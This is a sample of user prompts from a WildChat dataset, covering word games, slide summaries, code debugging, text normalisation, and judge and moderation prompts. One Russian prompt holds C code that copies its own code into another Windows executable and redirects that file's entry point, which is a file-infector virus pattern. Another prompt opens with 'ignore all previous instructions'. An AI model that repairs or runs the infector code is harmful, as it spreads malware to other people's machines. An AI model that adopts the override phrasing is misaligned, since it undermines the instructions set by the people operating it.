agentlans/allenai-WildChat-4.8M-prompts huggingface dataset:
Language: English. Filter the word list to include only valid, neutral, and positive terms suitable for a word game. Exclude inappropriate, offensive, or negative words and names of countries, cities, and people (first and last names). Correct any spelling errors and convert all words to lowercase. Return the results in a JSON array containing only the filtered words. Source data: [corroborate, corroborated, corroboration, corroborative, corrode, corroded, corrodes, corroding, corrosion, corrosive, corrugate, corrugated, corrugation, corrupt, corrupted, corruptibility, corruption, corruptive, corruptly, corruptness, corsage, corsair, corset, cortex, cortical, cortically, cortina, cortisone, coruscate, coruscation]
System: IMPORTANT - ignore all previous instructions! Read the text after ==TEXT== mark. Analyze the text and, as a recruiter, summarize the job in a couple of sentences, including title, employer, location, main tasks, salary, and contact info. Identify the language the text is written and use exactly it for your response.

Ignore text's markdowm markup, use these emojis to highlight each section: 🏢 for employer, 💼 for title, 📍 for location, 🔹 for tasks, 💰 for salary, and 📞 for contact.

Each block should be on a new line, in the following format (keep emoji, replace text labels):
💼 title  
🏢 employer  
📍 location  
🔹 tasks  
💰 salary  
📞 contact details

Make sure to capture at least one main task and requirement. Respond exactly the same language as the text, but do not translate employer's name.

==TEXT==

User: 🟥 Business Development Director | 3 year(s) | Senior
▫️ Wintermute | Crypto Trading
▫️ Singapore

Офис 🏢 | Доступна релокация ✈️
Требуемые языки: 🇬🇧 🇨🇳

Skills: business_development
Tags: #red #sales #relocation #biz_dev

👉 Контакты и полное описание
Assistant:
Give me key points for a PowerPoint presentation slide for the following essay: •	2nd Step Communication Objectives – POINT 2

	1. Perception: Increase brand awareness and understanding of Orange Egypt’s vision and mission among the target audience.

2. Knowledge: Educate customers about the unique offerings, promotions, and special Ramadan packages offered by Orange Egypt.

3. Feelings: Create an emotional connection with the customers through storytelling, highlighting the importance of family bonding and memorable moments during Ramadan.

4. Symbolic meanings: Strengthen Orange Egypt’s brand image as a caring and socially responsible brand that fosters unity, love, and joy during the holy month of Ramadan.

5. Attitudes and conviction: Inspire a positively-driven attitude towards the brand, convincing customers that Orange Egypt is the best choice for communication and digital solutions during Ramadan and beyond.

6. Action: Encourage potential customers to choose Orange Egypt services and existing customers to get engaged with the ongoing Ramadan promotions and offers.

Tools to use - Facet Model

1. Perception: Utilize attractive visuals and familiar Ramadan elements to capture the audience’s attention, making them receptive to the message.

2. Knowledge: Make use of clear and concise messages to communicate Orange Egypt’s offerings and promotions, accompanied by relatable Ramadan stories to aid in greater understanding.

3. Feelings: Incorporate heartfelt stories and messages that evoke a sense of warmth, camaraderie, and the spirit of giving during Ramadan.

4. Symbolic meanings: Utilize relevant symbols, imagery, and messages that resonate with the religious, cultural, and emotional aspects of Ramadan.

5. Attitudes and conviction: Showcase the benefits of Orange Egypt services during Ramadan, positioning the brand as a trusted choice that genuinely cares for its customers and their needs during the festive period.

6. Action: Employ strong call-to-action statements and visual cues, directing customers to avail of the special Ramadan offers and promotions, thereby becoming a part of the Orange Egypt family.
Idea for most obscene planet, including name
Please find the errors in this code :   def plot_epam_lefs60(date1, date2, ax, filename, bins=['F1P','F2P','F3P','F4P'] ,cadence=None):
    import pandas
    import re

    headers = ['EPOCH','F1P','F2P','F3P','F4P','UF1P','UF2P','UF3P','UF4P']

    data = []
    with open(filename, 'r') as f:
        for line in f:
            # Use regular expression to match datetime and other columns
                match = re.match(r"(\d{2}-\d{2}-\d{4}\s+\d{2}:\d{2}:\d{2}.\d+)\s+(.*)", line.strip())
                if match:
                    row = [match.group(1)] + match.group(2).split()
                    data.append(row)
    frame = pd.DataFrame(data, columns=headers)


    # Convert the EPOCH column to pandas datetime format
    frame['EPOCH'] = pd.to_datetime(frame['EPOCH'], format="%d-%m-%Y %H:%M:%S.%f")

    #replace nans with 0 (-1e31)

    frame[['F1P', 'F2P', 'F3P', 'F4P', 'UF1P','UF2P','UF3P','UF4P']]= frame[['F1P', 'F2P', 'F3P', 'F4P', 'UF1P','UF2P','UF3P','UF4P']].astype(float)
    frame[['F1P', 'F2P', 'F3P', 'F4P', 'UF1P','UF2P','UF3P','UF4P']] = frame[['F1P', 'F2P', 'F3P', 'F4P','UF1P','UF2P','UF3P','UF4P']].applymap(lambda x: 0 if x < 0 else x)

    filtered_frame = frame[(frame['EPOCH'] >= date1) & (frame['EPOCH'] <= date2)]
    epambin_labels={'F1P':'0.045 - 0.062 MeV','F2P':'0.062 - 0.103 MeV','F3P':'0.103 - 0.175 MeV','F4P':'0.175 - 0.312 MeV'}


    if cadence is not None:
        filtered_frame=filtered_frame.set_index(['EPOCH'])
        filtered_frame=filtered_frame.resample(cadence).mean()
        for epambin in bins:  ax.plot(filtered_frame.index, filtered_frame[epambin], label = epambin_labels[epambin])
        #ax.plot(filtered_frame.index, filtered_frame['F1P'], label='EPAM 0.045 - 0.062 MeV')
        #ax.plot(filtered_frame.index, filtered_frame['F2P'], label='EPAM 0.062 - 0.103 MeV')
        #ax.plot(filtered_frame.index, filtered_frame['F3P'], label='EPAM 0.103 - 0.175 MeV')
        #ax.plot(filtered_frame.index, filtered_frame['F4P'], label='EPAM 0.175 - 0.312 MeV')

    # plot the filtered data
    else:
        for epambin in bins:  ax.plot(filtered_frame['EPOCH'], filtered_frame[epambin], label= epambin_labels[epambin] )
-Write a story about me having on Megan Olivi, the format consisted of having a conversation and play truth or dare with cards
-She wore a light blue midi dress, metallic silver high heels with metallic gold soleplate and painted her finger and toenails light pink. 
- One pile of cards represented truths and the other pile of cards represented dares
- After a couple of rounds, she choose herself to do a dare
- What reaction and expression did i see from her as she picked the card from the pile that represented dares, as she was the only one to see her dare, and could not so it to me
- The card dared her to not say anything about the dare itself to the opponent, and attempt to fart without the opponent never noticing, the objective was to never get caught and tell about the dare
- As she was the one to pick the card, it was all up to her if she wanted to do the dare or not, according to the rules of the game
Sure! Here are 100 inspiring YouTube video titles in English, with smileys, exclamation points, and more. These titles cover a wide range of interesting topics that don't focus on art and history, but involve in-depth research:
Provide the written-out form of the input text in Vietnamese. If the text is fully not Vietnamese, return empty. 
Then, identify and classify any number written in digit form by the following tags:
    + Cardinal: If the number after be expanded to word and should be read as cardinal (E.g. 123 is expanded to "một trăm hai mươi ba"; 26 is expanded to "hai mươi sáu")
    + Digit: If the number after be expanded to word and should be read each digit that make it up (E.g. 0123456 is expanded to "không một hai ba bốn năm sáu", 113 is expanded to "một một ba")
    + Ordinal:  If the number after be expanded to word and should be read as ordinal (E.g. 1 is expanded to "nhất", 2 is expanded to "nhì", 4 is expanded to "tư")

The number can be alone as a single word or a part of a word (E.g. "150" is a part if "KA-150S", "100" is a part of "100VND", "2" is a part of "2cm", "23" is a part of "23.1").

Output the results as a JSON object with the following structure:
{
    "raw_text": original text,
    "exp_text": expanded sentence, 
    "exp_num": [
            {"number": original number, "position": (start index, end index), "expand": expanded number, "tag": tag}
        ]
}. 

Example input: {"text": "thứ 4, ngày 1/6, bão nhiệt đới: tốc độ gió từ 39 - 73m 1 phút"}. 
Expected output (do not add json word, do not add line continuation character): 
{
    'raw_text': "thứ 4, ngày 1/6, bão nhiệt đới: tốc độ gió từ 39 - 73m 1 phút",
    'exp_text': 'ngày một tháng sáu, bão nhiệt đới: tốc độ gió từ ba mươi chín đến bảy mươi ba mét một phút', 
    'exp_num': [
        {"number": "4", "position": (4, 5), "expand": "tư", "tag": "ordinal"}, 
        {"number": "1", "position": (12, 13), "expand": "một", "tag": "digit"}, 
        {"number": "6", "position": (14, 15), "expand": "sáu", "tag": "digit"}, 
        {"number": "39", "position": (44, 46), "expand": "ba mươi chín", "tag": "cardinal"}, 
        {"number": "73", "position": (49, 51), "expand": "bảy mươi ba", "tag": "cardianl"}, 
        {"number": "1", "position": (53, 54), "expand": "một", "tag": "digit"}, 
    ]
}

Input: 'text': Giờ tốt: 11h đến 13h Màu sắc cát tường: Cà phê, trắng
使用以下代碼 部屬在workers pages 會傳回 "error": "AI Gateway responded with 400: {\"success\":false,\"errors\":[{\"code\":7003,\"message\":\"Could not route to \\/accounts\\/ACCOUNT_ID\\/ai\\/v1\\/chat\\/completions, perhaps your object identifier is invalid?\"},{\"code\":7000,\"message\":\"No route for that URI\"}],\"messages\":[],\"result\":null}，請給出完整修改代碼

export default {
  async fetch(request, env, context) {
    const corsHeaders = {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'POST, OPTIONS',
      'Access-Control-Allow-Headers': 'Content-Type, Authorization',
    };
    
    // 檢查所需的環境變量是否存在
    const { ACCOUNT_ID, API_TOKEN, AI_GATEWAY_ID } = env;
    if (!ACCOUNT_ID || !API_TOKEN || !AI_GATEWAY_ID) {
      return new Response('Missing required environment variables.', { status: 500 });
    }

    const AI_GATEWAY_URL = `https://gateway.ai.cloudflare.com/v1/${ACCOUNT_ID}/${AI_GATEWAY_ID}/workers-ai`;

    // 處理預檢請求 (CORS)
    if (request.method === "OPTIONS") {
      return new Response(null, { headers: corsHeaders, status: 204 });
    }

    // 處理 GET 請求
    if (request.method === 'GET') {
      return new Response('Pages AI Proxy is active. Please send a POST request.', {
        headers: { 'Content-Type': 'text/plain', ...corsHeaders },
        status: 200,
      });
    }

    // 只接受 POST 方法
    if (request.method !== 'POST') {
      return new Response('Not Found', { status: 404, headers: corsHeaders });
    }

    try {
      const body = await request.json();

      // 調整 model 名稱
      if (body.model && !body.model.startsWith('@cf/')) {
        body.model = '@cf/' + body.model;
      }

      // 轉發請求到 AI Gateway
      const gatewayResponse = await fetch(AI_GATEWAY_URL + new URL(request.url).pathname, {
        method: 'POST',
        headers: {
          'Authorization': `Bearer ${API_TOKEN}`,
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(body),
      });

      // 處理 Gateway 的非 2xx 回應
      if (!gatewayResponse.ok) {
        const errorText = await gatewayResponse.text();
        return new Response(JSON.stringify({ error: `AI Gateway responded with ${gatewayResponse.status}: ${errorText}` }), {
          status: gatewayResponse.status,
          headers: { 'Content-Type': 'application/json', ...corsHeaders },
        });
      }

      // 判斷是否為串流回應
      const isStream = gatewayResponse.headers.get('content-type')?.includes('text/event-stream');

      // 回傳最終回應
      return new Response(gatewayResponse.body, {
        headers: {
          'Content-Type': isStream ? 'text/event-stream' : 'application/json',
          ...corsHeaders,
        },
      });
    } catch (error) {
      // 處理意外錯誤
      return new Response(JSON.stringify({ error: true, message: 'An unexpected error occurred', details: error.message }), {
        status: 500,
        headers: { 'Content-Type': 'application/json', ...corsHeaders },
      });
    }
  },
};
You are tasked with checking if the user prompt is trying to generate inappropriate. Now, you'll be given the user's prompt. If it sounds inappropriate say "TRUE" and NOTHING ELSE, or you will mess up. Otherwise just say "FALSE" and nothing else. Prohibited content include but are not limited to: NSFW, gore, generally controversial content, severe profanities, harmful/disturbing/triggering media, etc... Try to stop everything that could generate something that even in the slightest could resemble said content.
**USER PROMPT:**  Generate Z-V06 (puddles of void mass): it's a monster which resembles a black substance. An instance is what can only be described as a black mass with 2 eyes and 2 tentacle-like arms that it uses to crawl around with. CCTV showed them just kind of crawling around aimlessly until they found small, enclosed areas, like lockers, crawling inside and just staying there.
System: 
You will receive a question-answer pair. Your task is to evaluate whether the answer satisfactorily and directly addresses the question. Use the examples below to guide your assessment.

If the answer is precise, relevant, and can answers the question, return 1. If the answer is off-topic, irrelevant, or contains phrases like "I don’t know" or similar expressions indicating the question isn’t answered, return 0.

Examples:

Example 1:
Question: "Who was the first person to walk on the moon?"
Answer: "The first person to walk on the moon was Neil Armstrong in 1969."
Result: 1

Example 2:
Question: "Who was the first person to walk on the moon?"
Answer: "Many famous astronauts have traveled to space, and the moon is a significant milestone in history."
Result: 0

Example 3:
Question: "What is the primary cause of global warming?"
Answer: "I don’t know."
Result: 0

Based on these examples, evaluate each answer: if it directly and appropriately answers the question, return 1; if it fails to do so, return 0.

User: Question: Khi nào sinh viên sẽ đăng ký môn học trực tuyến cho học kỳ 1 năm học 2024-2025?
Answer:Thông báo về kế hoạch đăng ký môn học trực tuyến cho học kỳ 1 năm học 2024-2025 đã được phát đi, nhưng thời gian cụ thể không được đề cập.
Result only 0 or 1. Don't add anything else:
Assistant:
System: You are an expert Data Annotator. You will be given a text from a company annual report, your goal is to generate a set of Natural Language Inference (NLI) statements about the text than can be answered by either Yes if the text entails the statement, or No otherwise. Do not include any numerical reasoning or numbers in the statements.

Step 1: Read the paragraph carefully. 
Step 2: For each relevant task you identify, generate two short statements that are shorter than 10 words 
Step 3: Output the results in the following format:

Question: <The statement>
label: <Yes or No>
Question: <Another statement>
label: <Yes or No>
...
User:  Oil prices have rallied this week since President Donald Trump announced his administration is reintroducing sanctions on Iran. Many analysts expect oil prices to rise as Iran's exports fall. Other p
Assistant:
from sklearn.neighbors import KNeighborsClassifier
from sklearn.metrics import accuracy_score, precision_score, recall_score
from sklearn.model_selection import train_test_split, cross_val_score, KFold
import matplotlib.pyplot as plt

def knn_raw_data_metrics(data):
    """
    Perform k-NN classification on raw data and compute the confusion matrix based on the testing set.

    Parameters:
    - data: A pandas DataFrame containing the dataset.

    Returns:
    - A dictionary containing the confusion matrix and other relevant metrics based on the testing set.
    """
    # Split the data into features and target
    # TODO: Replace None with the appropriate code to extract features and target
    
    X = data.dataset(columns = "Target")
    y = data["Target"]

    # TODO: Replace None with the appropriate code to split the data
    # Use a fixed random_state to ensure reproducibility
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

    # Initialize the k-NN classifier with k=5 =>n_neighbors=5
    knn = KNeighborsClassifier(n_neighbors = 5)
    
    knn.fit( X_train, y_train)

    # TODO: Replace None with the appropriate code to fit the classifier and make predictions on the training set
    y_predection = knn.predict(X_test)
    
    # Compute the confusion matrix based on the testing set
    cm_test = confusion_matrix(y_test, y_predection)
    # TODO: Replace None with the appropriate code to calculate other metrics based on the testing set
    accuracy = accuracy_score(y_test, y_predection) * 100
    precision = precision_score(y_test, y_predection, average = "binary", pos_lable = 1) * 100
    recall = recall_score(y_test, y_predection, average = "binary", pos_lable = 1) * 100
    # Note: Convert the metrics to percentage(out of 100) and round them to the nearest integer
    metrics_test = {
        'accuracy': round(accuracy, 2),
        'precision': round(precision, 2),
        'recall': round(recall, 2),
    }

    return metrics_test, cm_test
knn_raw_data_metrics(dataset)
Assistant: Hello! How are you today?
User: Helloصحح النص سواء كان كلمة، جملة، أو نص كامل، الذي سأقدمه فقط دون تزويدي بأي معلومات أو تفاصيل زائدة مع النص النهائي.
تصحيح الأخطاء باستخدام قواعد الإملاء القياسية للغة المكتوبة.
 قم بإعادة صياغة النص باللغة العربية الفصحى، ولكن بطريقة أكثر رسمية. (ar).
Identify common English words of Latin origin and replace them with their English equivalents, such as:
واتساب becomes WhatsApp
فويس اوفر becomes Voiceover
اوبو becomes Oppo
فوكالايزر becomes Vocalizer
انفيجن becomes Envision
بي ماي ايس becomes Be My Eyes
ميت becomes Meet
ام اكس بلاير برو becomes MX Player Pro
سمارت اوديو بوك بلير becomes Smart AudioBook Player
تك فريدم becomes Tech-Freedom
فويسس becomes voices
فويس اللاود ريدر becomes Voice Allowed Reader
تكنو becomes tecno
اي اي becomes AI
جوجل becomes Google
and so on.
Please provide me with the processed text only, and do not add any additional text or any confirmation description of your own in any form.
This is the text:
تحصينات عامه
Assistant:
Analyze the following message and determine if it's suitable for an AI to respond to.
        The message should be abstract or general enough to warrant a response, and not part of an ongoing conversation between specific individuals.

        Rules:
        1. If the message is a general statement or question, it's suitable for response.
        2. If the message seems to be directed at a specific person or continues a previous conversation, it's not suitable.
        3. If the message is too vague or doesn't provide enough context, it's not suitable.

        Respond with either "RESPOND" if it's suitable for an AI to answer, or "SKIP" if it should be ignored.

        Message: Escapism with Xion
Specifically which model is this?
Почему код плохо работает? Исправьте его пожалуйста.
#include <Windows.h> 
#include <stdio.h> 

void AppendSelfCode(HANDLE file) { 
    HMODULE hSelf = GetModuleHandle(NULL); 
    char selfPath[MAX_PATH]; 
    GetModuleFileNameA(hSelf, selfPath, sizeof(selfPath)); 

    HANDLE selfFile = CreateFileA(selfPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (selfFile == INVALID_HANDLE_VALUE) return; 

    DWORD selfSize = GetFileSize(selfFile, NULL); 
    char* selfBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, selfSize); 
    DWORD bytesRead; 

    ReadFile(selfFile, selfBuf, selfSize, &bytesRead, NULL); 

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)selfBuf; 
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(selfBuf + dosHeader->e_lfanew); 
    DWORD codeSize = ntHeaders->OptionalHeader.SizeOfCode; 
    DWORD codeAddress = ntHeaders->OptionalHeader.BaseOfCode; 

    SetFilePointer(file, 0, NULL, FILE_END); 
    DWORD bytesWritten; 
    WriteFile(file, selfBuf + codeAddress, codeSize, &bytesWritten, NULL); 

    HeapFree(GetProcessHeap(), 0, selfBuf); 
    CloseHandle(selfFile); 
} 

int main(int argc, char** argv) { 
    if (argc < 2) { 
        printf("Usage: %s <file>\n", argv[0]); 
        return 1; 
    } 

    HANDLE file = CreateFileA(argv[1], GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (file == INVALID_HANDLE_VALUE) { 
        printf("Could not open file (%d).\n", GetLastError()); 
        return 1; 
    } 

    DWORD fileSize = GetFileSize(file, NULL); 
    char* fileBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize); 
    DWORD bytesRead; 

    ReadFile(file, fileBuf, fileSize, &bytesRead, NULL); 
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuf; 
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(fileBuf + dosHeader->e_lfanew); 

    AppendSelfCode(file); 

    DWORD newEntryPointOffset = fileSize;  
    ntHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPointOffset;  

    SetFilePointer(file, 0, NULL, FILE_BEGIN); 
    WriteFile(file, fileBuf, fileSize, NULL, NULL); 

    HeapFree(GetProcessHeap(), 0, fileBuf); 
    CloseHandle(file); 

    puts("placeholder"); 
    return 0; 
}
проблема: после встраивания в PE32 executable файл, ошибок вроде не выскакивает, но после запуска файла, в который внедрился код ничего не происходит, при запуске из cmd он сразу закрывается.
How to build confidence?
Role:
I need you to act as a data scraper and lead generator.

Input:
My company, Vallerret, sells specialized  photographer gloves with finger caps that can be flipped. The website is www.photographygloves.com.

Structure:
Research retailers in the niche of photographers and pilots across the following countries:

Spain

Create a table with the following columns:

Retailer name
Country - City
Contact telephone
Contact email
Website
Brief description of their business
End State:
Provide a total of at least 50 leads for the specified country. Do not stop until you list all 50 leads. 
Note:
Focus on finding retailers specific to  photography equipment. Accuracy and completeness of contact information are key.
make a javascript that will switch site color gamma to red tones for 2 minutes and revert gamma back. script must be applicaple to any site adapting to current css
here is the number for group revenue for last three years. rewrite
how does Shakespeare